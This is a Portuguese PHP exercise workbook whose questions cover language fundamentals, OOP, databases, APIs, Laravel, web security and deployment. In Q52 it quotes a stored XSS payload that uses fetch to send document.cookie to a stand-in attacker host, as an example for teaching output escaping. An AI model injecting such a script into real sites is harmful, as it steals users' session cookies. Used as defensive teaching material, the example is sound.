DOMINANDO O PHP

Caderno de Exercícios

52 aulas de prática, do #01 ao #52

PHP 8.5 · Composer · 10 módulos · 71 questões · 2 desafios integradores

Autor Desconhecido · theknowledgeisle.com

Nome do aluno: Início: Término:

Como usar este caderno

Cada módulo reúne um bloco de aulas do curso, com a lista dos artigos que ele cobre. As perguntas conceituais pedem explicações com as suas palavras; os exercícios de código pedem programas: escreva, compile e execute cada um.

Tente sempre resolver sozinho antes de abrir o **Caderno de Respostas**. É no erro que o conhecimento fixa.

Sumário

Módulo	Tema	Aulas	Questões
MÓDULO 1	Fundamentos da linguagem	#01–#10	Q1–Q12
MÓDULO 2	Orientação a objetos e padrões de projeto	#11–#15	Q13–Q20
MÓDULO 3	PHP moderno: exceções, interfaces e traits avançados e o PHP 8.x	#16–#19	Q21–Q27
MÓDULO 4	Banco de dados, APIs e testes	#20–#25	Q28–Q37
MÓDULO 5	Arquitetura e escala	#26–#30	Q38–Q44
MÓDULO 6	Outros bancos: PostgreSQL, SQLite e MongoDB	#31–#33	Q45–Q49
MÓDULO 7	A web: formulários, sessões e segurança	#34–#40	Q50–Q56
MÓDULO 8	Laravel	#41–#45	Q57–Q61
MÓDULO 9	Segurança avançada, testes e produção	#46–#49	Q62–Q68
MÓDULO 10	Projeto final	#50–#52	Q69–Q71
DESAFIOS	Desafios integradores	todas	D1–D2

Legenda: nas perguntas, `assim` indica código, nomes de tipos e comandos. As linhas pautadas são para a sua resposta; nos exercícios de código, use também o computador: **todo programa deve ser compilado e executado**.

MÓDULO 1

Fundamentos da linguagem

O que é o PHP e de onde veio, o ambiente, variáveis e tipos, decisões, laços, funções, arrays, strings e o tratamento de erros.

Artigos 01 a 10

#01 O que é PHP e por que ele ainda importa
#02 A História do PHP: de script pessoal a pilar da web
#03 Configurando o Ambiente de Desenvolvimento
#04 Variáveis, Tipos de Dados e Operadores
#05 Estruturas de Controle
#06 Estruturas de Repetição
#07 Funções
#08 Arrays em Profundidade
#09 Strings em Profundidade
#10 Tratamento de Erros e Exceções

Perguntas conceituais

Q1 **O ciclo de uma requisição**

Descreva o que acontece entre o navegador pedir `/produtos.php` e receber o HTML. Por que se diz que o PHP tem um modelo "*shared nothing*", e que consequência isso tem para variáveis globais?

Q2 **Comparação fraca e estrita**

Qual o resultado de cada comparação no PHP 8, e por que o `===` é o padrão recomendado? `0 == "a"`, `"1" == "01"`, `"abc" == 0`, `null == false`, `"1e3" == "1000"`.

Q3 declare(strict_types=1)

O que muda num arquivo com `declare(strict_types=1);` na chamada `somar("5", 3)` de uma função `function somar(int $a, int $b): int`? O efeito vale para o arquivo onde a função foi declarada ou onde foi chamada?

Q4 Arrays: lista ou mapa

O `array` do PHP serve de lista, mapa, pilha e fila. O que `array_is_list()` verifica, e por que `unset($lista[1])` seguido de `json_encode($lista)` costuma surpreender?

Q5 strlen ou mb_strlen

Por que `strlen("ação")` devolve 6, e `mb_strlen("ação")` devolve 4? Que outras funções têm a mesma armadilha?

Q6 Exception, Error e Throwable

No PHP 8, qual a diferença entre `Exception` e `Error`? Por que `catch (Exception $e)` não captura uma divisão por zero ou um `TypeError`?

Exercícios de código

Q7 **Tabela de tipos**

Escreva um programa que percorra os valores `0`, `"0"`, `""`, `"0.0"`, `[]`, `null`, `"false"` e `0.0` e mostre, para cada um, o tipo (`get_debug_type`), se é "verdadeiro" num `if` e se `empty()` o considera vazio. Qual deles surpreende?

Q8 **match no lugar de switch**

Reescreva com `match` uma função que classifica o código HTTP: 200 a 299 "sucesso", 301, 302 e 307 "redirecionamento", 404 "não encontrado", 400 a 499 "erro do cliente", 500 a 599 "erro do servidor". Mostre o que acontece com o código 99.

Q9 Funções com tipos, padrões e argumentos nomeados

Escreva `function formatarPreco(float $valor, string $moeda = "R$", int $casas = 2, bool $milhar = true): string` com `number_format` no padrão brasileiro. Chame-a com argumentos nomeados, pulando parâmetros. Depois escreva uma função variádica `somarTodos(int ...$numeros): int` e chame-a espalhando um array.

Q10 Manipulando arrays sem laços

Dado um array de pedidos (`cliente`, `valor`, `status`), use `array_filter`, `array_map`, `array_column`, `array_sum` e `usort` para: (a) os pedidos pagos; (b) o total pago; (c) os nomes dos clientes com pedido pago, sem repetição e em ordem alfabética; (d) os pedidos ordenados por valor decrescente. Use o operador pipe `|>` do PHP 8.5 em um dos casos.

Q11 Strings com acentos

Escreva `function slug(string $texto): string` que transforme "Ação & Reação: o Básico do PHP!" em `acao-reacao-o-basico-do-php`, removendo acentos com `iconv` ou com a extensão `intl`, trocando o que não é letra ou dígito por hífen e eliminando hífens repetidos e nas pontas. Mostre também a diferença entre `strtoupper` e `mb_strtoupper` no mesmo texto.

Q12 Exceções em camadas

Escreva uma função `lerConfiguracao(string $arquivo): array` que lance uma exceção própria `ConfiguracaoException` quando o arquivo não existe ou o JSON é inválido, encadeando a exceção original (`previous`). Use `json_decode` com `JSON_THROW_ON_ERROR`. No código que chama, mostre a mensagem e a causa, e use `finally`.

MÓDULO 2

Orientação a objetos e padrões de projeto

Classes e objetos, herança, interfaces e traits, namespaces, PSR-4 e Composer, e os padrões Singleton, Factory, Builder, Observer, Decorator e Strategy.

Artigos 11 a 15

#11 Orientação a Objetos: Fundamentos
#12 Herança, Interfaces e Traits
#13 Namespaces, Autoloading, PSR-4 e Composer
#14 Design Patterns: Singleton, Factory e Builder
#15 Observer, Decorator e Strategy

Perguntas conceituais

Q13 Visibilidade e encapsulamento

Qual a diferença entre `public`, `protected` e `private`? Por que expor uma propriedade `public float $saldo` numa classe `Conta` é um problema, e como o PHP 8.4 resolve isso com visibilidade assimétrica?

Q14 Herança, interface ou trait

Para cada caso, escolha entre herança, interface e trait: (a) várias classes de pagamento (Pix, cartão, boleto) que precisam de um método `pagar()`, com implementações totalmente diferentes; (b) as classes `Produto`, `Pedido` e `Cliente`, que precisam dos mesmos métodos `criadoEm()` e `atualizadoEm()` com o mesmo código; (c) `Administrador`, que é um `Usuario` com permissões a mais.

Q15 O que o Composer resolve

O que fazem o `composer.json`, o `composer.lock` e o `vendor/autoload.php`? Por que o `composer.lock` vai para o repositório de uma aplicação, e o `vendor/` não?

Q16 Singleton: quando não usar

O Singleton garante uma única instância de uma classe, como a conexão com o banco. Por que ele é considerado um antipadrão na maioria dos casos, e qual a alternativa?

Exercícios de código

Q17 Uma conta com regras

Escreva `final class Conta` com o titular, o saldo (`public private(set)`, PHP 8.4) e os métodos `depositar` e `sacar`, que recusam valores não positivos e saques acima do saldo com exceções. Trabalhe em centavos (`int`). Mostre que tentar alterar o saldo de fora causa um `Error`.

Q18 Interfaces e um padrão Strategy

Defina `interface CalculoFrete { public function calcular(float $pesoKg, string $uf): float; }` e três estratégias: `FreteFixo`, `FretePorPeso` (R$ 5 por kg, mínimo R$ 12) e `FreteGratisAcimaDe` (um *decorator* que recebe outra estratégia e zera o frete quando o valor do pedido passa de um limite). Calcule o frete de dois pedidos com cada uma.

Q19 Uma trait de timestamps

Escreva a trait `TemTimestamps`, com as propriedades `criadoEm` e `atualizadoEm` (`DateTimeImmutable`) e os métodos `marcarCriacao()` e `tocar()`, e use-a em `Produto` e `Cliente`. Use um relógio fixo (uma função que devolve sempre a mesma data) para que a saída seja previsível.

Q20 Autoload PSR-4 sem Composer

Para entender o que o Composer faz, escreva um *autoloader* PSR-4 com `spl_autoload_register` que mapeie o *namespace* `Livraria\` para a pasta `src/`. Crie, a partir do próprio programa, as classes `Livraria\Dominio\Livro` e `Livraria\Servicos\Catalogo` em arquivos separados, e use-as sem nenhum `require` delas.

MÓDULO 3

PHP moderno: exceções, interfaces e traits avançados e o PHP 8.x

Hierarquias de exceções, interfaces da SPL, traits com conflitos e métodos abstratos, e os recursos do PHP 8.0 ao 8.5: enums, readonly, match, property hooks e o pipe.

Artigos 16 a 19

#16 Exceções Avançadas
#17 Interfaces Avançadas
#18 Traits Avançados
#19 PHP 8.x Moderno

Perguntas conceituais

Q21 **Enums com comportamento**

O que um `enum StatusPedido: string` (*backed enum*) oferece a mais que um conjunto de constantes `const PAGO = 'pago'`? Para que servem `from` e `tryFrom`?

Q22 **readonly e imutabilidade**

O que garante uma propriedade `readonly`? Por que um objeto `readonly` que contém um array de objetos ainda pode mudar "por dentro"? O que o PHP 8.5 trouxe para criar cópias alteradas?

Q23 Property hooks

O PHP 8.4 trouxe os *property hooks*. Mostre como uma propriedade `public string $email` pode normalizar o valor (minúsculas, sem espaços) a cada escrita, sem *getter* nem *setter*. Que vantagem isso tem sobre os métodos `setEmail()`?

Exercícios de código

Q24 Um enum de status com regras

Escreva `enum StatusPedido: string` com os casos `Novo`, `Pago`, `Enviado`, `Entregue` e `Cancelado`, o método `rotulo()` (texto para a tela) e o método `podeIrPara(self $novo): bool` com as transições permitidas (Novo → Pago ou Cancelado; Pago → Enviado ou Cancelado; Enviado → Entregue). Converta textos vindos de um formulário com `tryFrom`, incluindo um inválido.

Q25 Objeto imutável com clone with

Escreva `final readonly class Preco` com `centavos` e `moeda`, validação no construtor (não negativo, moeda de 3 letras maiúsculas) e os métodos `comDesconto(int $percentual): static`, usando o `clone` com propriedades do PHP 8.5, e `formatado()`. Mostre que o original não muda e que a validação continua valendo.

Q26 Iteradores e Countable

Escreva `final class Carrinho implements IteratorAggregate, Countable` que guarde itens (título e quantidade), possa ser percorrido com `foreach` por meio de um gerador (`yield`) e contado com `count()`. Acrescente um método gerador `itensAcimaDe(int $qtd)` e mostre que nada é calculado até o `foreach` pedir.

Q27 **Traits com conflito e método abstrato**

Duas traits, `Registravel` e `Notificavel`, têm um método `enviar()`. Use as duas na classe `Pedido`, resolvendo o conflito com `insteadof` e `as`. Faça uma das traits exigir, por um método abstrato, que a classe tenha `identificador(): string`.

MÓDULO 4

Banco de dados, APIs e testes

PDO, prepared statements e o padrão Repository, query builder e migrations, Eloquent, APIs REST, autenticação JWT e testes com PHPUnit.

Artigos 20 a 25

#20 PDO Avançado, Prepared Statements e Padrão Repository
#21 Query Builder e Migrations
#22 ORM com Eloquent
#23 APIs REST com PHP
#24 Autenticação JWT
#25 Testes Automatizados com PHPUnit

Perguntas conceituais

Q28 Prepared statements

Explique por que um *prepared statement* impede SQL injection mesmo quando o valor contém aspas. A opção `PDO::ATTR_EMULATE_PREPARES` muda essa garantia?

Q29 Repository

O que o padrão Repository esconde do resto da aplicação? Por que o método `LivroRepository::buscarPorAutor(string $autor): array` é melhor do que espalhar o SQL pelos controladores?

Q30 Migrations

Por que um projeto versiona as mudanças de esquema como *migrations* numeradas, em vez de manter só um `schema.sql` atualizado à mão? O que uma tabela de controle registra?

Q31 Status HTTP de uma API

Que código HTTP a API da livraria deve devolver em cada caso, e por quê? (a) livro criado; (b) livro removido; (c) JSON malformado no corpo; (d) campos válidos como JSON, mas preço negativo; (e) *token* ausente; (f) *token* válido de um usuário sem permissão; (g) livro inexistente.

Q32 Onde guardar o JWT no navegador

Uma SPA recebe um JWT após o login. Compare guardá-lo no `localStorage` e num *cookie* `HttpOnly; Secure; SameSite=Strict`, quanto a XSS e CSRF.

Exercícios de código

Q33 PDO com SQLite e um Repository

Crie um banco SQLite em memória com a tabela `livros`, um `final readonly class Livro` e um `LivroRepository` com `salvar(Livro): int` (devolve o id), `buscarPorId(int): ?Livro` e `buscarPorAutor(string): array`, usando *prepared statements* e `FETCH_ASSOC`. Mostre que um nome de autor com aspas não quebra a consulta.

Q34 Um executor de migrations

Escreva um executor de *migrations* que, dado um array de *migrations* nomeadas (`"001_cria_livros" => "CREATE TABLE ..."`), crie a tabela de controle se não existir, aplique **só as pendentes**, em ordem, cada uma numa transação, e registre o nome e a data. Rode-o duas vezes e mostre que a segunda não faz nada. Depois inclua uma *migration* com erro e mostre que ela não deixa o banco pela metade.

Q35 Uma API REST com o servidor embutido

Escreva `api.php`, um roteador para o servidor embutido do PHP (`php -S`) com `GET /livros`, `GET /livros/{id}` (404 quando não existe) e `POST /livros` (201 com `Location`, ou 422 com os erros de validação, ou 400 para JSON malformado), guardando os livros num arquivo JSON. Teste com `curl`.

Q36 JWT feito à mão

Para entender o formato, implemente `jwt_criar(array $claims, string $segredo): string` e `jwt_validar(string $token, string $segredo, int $agora): array` com HS256, usando `hash_hmac` e Base64Url. A validação deve recusar assinatura inválida, *token* expirado (`exp`) e algoritmo diferente de HS256. Teste um *token* válido, um alterado e um expirado. (Em produção, use uma biblioteca como `firebase/php-jwt`.)

Q37 **Testes com PHPUnit**

Escreva, como projeto com Composer e PHPUnit 12, testes para a classe `Conta` do módulo 2: um teste do depósito, um teste que espera a exceção do saque acima do saldo e um teste com *data provider* (atributo `#[DataProvider]`) para valores inválidos de depósito.

MÓDULO 5

Arquitetura e escala

SOLID na prática, Clean Architecture, Domain-Driven Design, filas e jobs assíncronos e cache com Redis.

Artigos 26 a 30

#26 SOLID na Prática
#27 Clean Architecture com PHP
#28 Domain-Driven Design
#29 Filas e Jobs Assíncronos
#30 Cache Avançado com Redis

Perguntas conceituais

Q38 **Uma responsabilidade**

Esta classe tem quantas responsabilidades, segundo o princípio da responsabilidade única (SRP)? Como dividi-la?

```
class PedidoService {
    public function finalizar(array $dados) {
        // valida os dados, calcula o total com desconto e frete,
        // grava no MySQL, gera o PDF da nota e envia o e-mail
    }
}
```

Q39 Inversão de dependência

O princípio da inversão de dependência (o "D" do SOLID) diz que módulos de alto nível não devem depender de módulos de baixo nível, mas de abstrações. Mostre o antes e o depois com um `RelatorioDeVendas` que hoje faz `new MySqlVendas()` dentro do construtor.

Q40 Entidade, objeto de valor e agregado

No DDD, qual a diferença entre uma **entidade** e um **objeto de valor**? O que é um **agregado**, e por que os itens de um pedido só devem ser alterados por meio do próprio `Pedido`?

Q41 Por que uma fila

Ao finalizar o pedido, a loja precisa gerar a nota fiscal (3 s, num serviço externo) e enviar o e-mail (1 s). Por que fazer isso numa fila, processada por um *worker*, em vez de durante a requisição? O que é uma *dead letter queue*?

Q42 Cache-aside

Descreva o padrão *cache-aside* com Redis para a página de um livro. O que acontece quando o preço muda, e por que o TTL é uma rede de segurança e não a estratégia principal?

Exercícios de código

Q43 Uma fila de jobs com tentativas

Implemente uma fila de *jobs* num SQLite em memória (tabela `jobs` com `tipo`, `dados`, `tentativas`, `status`) e um *worker* que processa os pendentes, tentando de novo os que falham até 3 vezes e mandando para `falhou` (a *dead letter*) os que esgotam as tentativas. Simule um *job* que sempre funciona, um que falha uma vez e depois funciona, e um que sempre falha.

Q44 Cache-aside com interface

Defina `interface Cache { get, set (com TTL), delete }`, uma implementação em memória que respeite o TTL com um relógio injetado, e um `LivroService` que use o padrão *cache-aside* sobre um repositório que conta as idas ao "banco". Mostre o *miss*, o *hit*, a invalidação na alteração de preço e a expiração pelo TTL.

MÓDULO 6

Outros bancos: PostgreSQL, SQLite e MongoDB

Os recursos próprios do PostgreSQL, o SQLite como banco de arquivo e o MongoDB com documentos.

Artigos 31 a 33

#31 PostgreSQL com PHP
#32 SQLite com PHP
#33 MongoDB com PHP

Perguntas conceituais

Q45 **O que o PostgreSQL tem a mais**

Cite três recursos do PostgreSQL que o MySQL não tem ou tem de forma limitada, e um caso de uso de cada um numa livraria.

Q46 **Quando o SQLite basta**

O SQLite é "só para testes"? Em que situações ele é a escolha certa em produção, e qual é a principal limitação dele?

Q47 **Modelando no MongoDB**

Para guardar os pedidos da livraria no MongoDB, como fica o documento de um pedido? O que fica embutido e o que fica como referência, e por quê?

Exercícios de código

Q48 SQLite com transação e UPSERT

Com o SQLite, crie a tabela `estoque(livro_id PRIMARY KEY, qtd)` e escreva `function darBaixa(PDO $pdo, array $itens): void`, que baixa o estoque de vários livros numa transação, recusando a operação inteira se algum ficar negativo. Use um *UPSERT* (`INSERT ... ON CONFLICT DO UPDATE`) para a entrada de estoque. Mostre uma baixa que dá certo e uma que é desfeita.

Q49 Consultas no MongoDB

Com a biblioteca `mongodb/mongodb` (instalada pelo Composer, junto com a extensão `mongodb`), escreva o código que insere três pedidos no formato da pergunta anterior, busca os pedidos pagos de um cliente e calcula, com uma *aggregation pipeline*, o total vendido por livro, do maior para o menor.

MÓDULO 7

A web: formulários, sessões e segurança

Formulários, sessões e cookies, upload de arquivos, XSS, CSRF e SQL injection, Composer e namespaces, PSRs e boas práticas.

Artigos 34 a 40

#34 Formulários HTML e PHP
#35 Sessions e Cookies
#36 Upload de Arquivos
#37 Segurança em Formulários: XSS, CSRF e SQL Injection
#38 Composer e Namespaces
#39 PSR e Padrões de Código
#40 Boas Práticas e Código Limpo em PHP

Perguntas conceituais

Q50 GET ou POST

Quando um formulário deve usar `GET` e quando `POST`? Por que o formulário de busca do site usa `GET`, e o de login não pode usar?

Q51 Sessão e cookie

Qual a diferença entre guardar o carrinho num *cookie* e na sessão (`$_SESSION`)? Que atributos um *cookie* de sessão deve ter, e por que chamar `session_regenerate_id(true)` no login?

Q52 XSS: escapar na saída

Um comentário com `<script>fetch('https://mal.com?c='+document.cookie)</script>` foi gravado no banco. Onde e como o PHP deve impedir que ele execute? Por que filtrar na entrada não basta?

Q53 PSR-12 e as outras PSRs

O que é uma PSR, e qual a diferença de natureza entre a PSR-12 (estilo de código), a PSR-4 (*autoload*) e a PSR-7 (mensagens HTTP)?

Exercícios de código

Q54 Um formulário com CSRF e PRG

Escreva `form.php`, servido pelo `php -S`, com um formulário de contato que: gera um *token* CSRF na sessão; no `POST`, recusa com 403 *token* ausente ou errado; valida o e-mail com `filter_var`; e, se tudo estiver certo, guarda uma mensagem de sucesso na sessão e redireciona com 303 (Post/Redirect/Get). Teste com `curl`, guardando os *cookies* num arquivo.

Q55 Upload seguro

Escreva `upload.php` que receba um campo `capa` e só aceite imagens JPEG ou PNG de até 1 MB, verificando o **conteúdo** com `finfo` (e não a extensão nem o `type` enviado pelo navegador), confirmando com `getimagesize`, e gravando com um nome gerado pelo servidor fora da pasta pública. Teste com `curl -F` enviando uma imagem real, um PHP renomeado para `.png` e um arquivo grande.

Q56 Escapar conforme o contexto

Escreva um programa que monte a mesma informação vinda do usuário (`O'Reilly <b>&</b> "Cia"`) em quatro contextos (o corpo do HTML, um atributo, uma URL e um bloco JSON dentro de um `<script>`), cada um com a função de escape certa, e mostre o resultado.

MÓDULO 8

Laravel

Introdução ao Laravel, Eloquent, Blade, autenticação e autorização, e APIs.

Artigos 41 a 45

#41 Introdução ao Laravel
#42 Eloquent ORM com Laravel
#43 Blade — Templates no Laravel
#44 Autenticação e Autorização no Laravel
#45 APIs com Laravel

Perguntas conceituais

Q57 O que o Laravel faz por você

Compare criar a livraria em PHP puro (como nos módulos anteriores) e em Laravel. Cite quatro coisas que o *framework* entrega prontas, e um custo de usá-lo.

Q58 Mass assignment

O que é *mass assignment* no Eloquent, e por que `Livro::create($request->all())` é perigoso sem `$fillable`? Qual a forma recomendada?

Q59 Policies

O editor pode alterar qualquer livro; o autor, só os próprios. Onde essa regra deve morar no Laravel, e por que não no *controller*?

Exercícios de código

Q60 **Rotas, controller e validação no Laravel**

Escreva, para um projeto Laravel, a rota de recurso `livros`, o `StoreLivroRequest` com as regras (título obrigatório até 200 caracteres, ISBN único com 13 dígitos, preço numérico maior que zero) e o método `store` do `LivroController`, que cria o livro com os dados validados e redireciona para a página dele com uma mensagem.

Q61 **Eloquent sem N+1**

Com os *models* `Autor` (hasMany `livros`) e `Livro` (belongsTo `autor`), escreva a consulta da página inicial: os 10 livros mais recentes com o nome do autor, sem o problema N+1; a lista de autores com a quantidade de livros de cada um, sem carregar os livros; e os autores que têm pelo menos um livro acima de R$ 100. Mostre como o Laravel pode **proibir** o *lazy loading* em desenvolvimento.

MÓDULO 9

Segurança avançada, testes e produção

Segurança avançada, testes com PHPUnit e Pest, deploy e ambiente de produção, e desempenho.

Artigos 46 a 49

#46 Segurança Avançada em PHP
#47 Testes Automatizados com PHPUnit e Pest
#48 Deploy e Ambiente de Produção
#49 Performance e Otimização

Perguntas conceituais

Q62 **Senhas**

Como guardar senhas em PHP? Por que `md5($senha)` e `sha256` com *salt* não servem, e o que `password_needs_rehash` resolve?

Q63 **Cabeçalhos de segurança**

Cite quatro cabeçalhos HTTP de segurança que um site PHP deve enviar, e o que cada um impede.

Q64 **OPcache e o preload**

O que o OPcache faz, e por que, em produção, `opcache.validate_timestamps=0` dá desempenho mas exige cuidado no deploy?

Q65 **Deploy sem tempo fora do ar**

Descreva um deploy de uma aplicação PHP que não deixa o site fora do ar nem pela metade (código novo com dependências velhas). O que é a troca atômica de *symlink*?

Exercícios de código

Q66 **Senhas com password_hash**

Escreva o fluxo de cadastro e login: gere o *hash* de uma senha com `PASSWORD_DEFAULT` e custo 10, mostre o formato do *hash*, verifique uma senha certa e uma errada, e use `password_needs_rehash` para migrar o *hash* quando o custo exigido sobe para 12.

Q67 Medindo o N+1

Com SQLite em memória, crie 200 pedidos de 50 clientes e meça, com `hrtime`, duas formas de listar os pedidos com o nome do cliente: uma consulta para os pedidos e uma por pedido para o cliente (N+1), e uma consulta com `JOIN`. Mostre o número de consultas de cada forma e qual foi mais rápida.

Q68 Cabeçalhos de segurança num middleware

Escreva uma função `comCabecalhosDeSeguranca(callable $controlador): callable` que envolva qualquer controlador e acrescente os cabeçalhos de segurança à resposta, e um `seguranca.php` que a use. Confira os cabeçalhos com `curl -I` pelo servidor embutido.

MÓDULO 10

Projeto final

Planejamento e arquitetura, implementação, testes, deploy e encerramento.

Artigos 50 a 52

#50 Projeto Final Parte 1: Planejamento e Arquitetura
#51 Projeto Final Parte 2: Implementação
#52 Projeto Final Parte 3: Testes, Deploy e Encerramento

Perguntas conceituais

Q69 **Do requisito ao plano**

Antes de escrever código do projeto final, que decisões o artigo #50 manda tomar e registrar? Por que escrever essas decisões, mesmo num projeto pessoal?

Q70 **Uma lista de verificação antes do deploy**

Monte uma lista de verificação curta para colocar o projeto final em produção, cobrindo configuração, segurança, banco e operação.

Exercícios de código

Q71 Um roteador mínimo

O projeto final usa um roteador próprio, como este site. Escreva `final class Roteador` com `get` e `post` que aceitem padrões com parâmetros (`/livros/{id}`), convertidos para expressões regulares, e um `despachar(string $metodo, string $caminho)` que chame o controlador com os parâmetros nomeados, ou devolva 404 e 405 (método não permitido, com a lista dos aceitos). Mostre a importância da ordem das rotas com `/livros/novo` e `/livros/{id}` .

PARA IR ALÉM

Desafios integradores

Projetos maiores, que juntam vários módulos. Não há uma única resposta certa: o gabarito mostra um caminho.

D1

Uma calculadora, duas interfaces

Escreva uma calculadora com sete operações: soma, subtração, multiplicação, divisão, potência (expoente inteiro), porcentagem (`15 % 200` é 15% de 200) e raiz quadrada (`raiz 2`). Ela deve: (a) aceitar vírgula ou ponto como separador decimal; (b) guardar o último resultado em `ans` , utilizável na conta seguinte; (c) recusar divisão por zero, raiz de negativo, expoente fracionário e texto que não é número com uma mensagem clara, **sem encerrar o programa**; (d) ter os comandos `hist` (histórico) e `sair` no terminal. O mesmo núcleo (`Calculadora.php`) deve servir a duas interfaces: um programa de terminal (`cli.php`) e uma página web (`web.php`), que guarda o `ans` e o histórico na sessão. Use a extensão `bcmath` para que `0,1 + 0,2` dê exatamente `0,3` .

Sua solução (arquitetura, decisões e código principal):

D2

Um mini-framework MVC

Construa o esqueleto de um *framework* MVC como o deste site: um *front controller* (`public/index.php`), um roteador com parâmetros (o do módulo 10), um contêiner de injeção de dependências simples, *controllers* que recebem um objeto `Request` e devolvem um `Response`, *views* com escape automático, um *middleware* de CSRF e um repositório com PDO. Escreva uma página de listagem e uma de cadastro de livros, com testes de integração que façam requisições ao *front controller* sem servidor.

Sua solução (arquitetura, decisões e código principal):

Bom estudo e bons exercícios!

Dominando o PHP · theknowledgeisle.com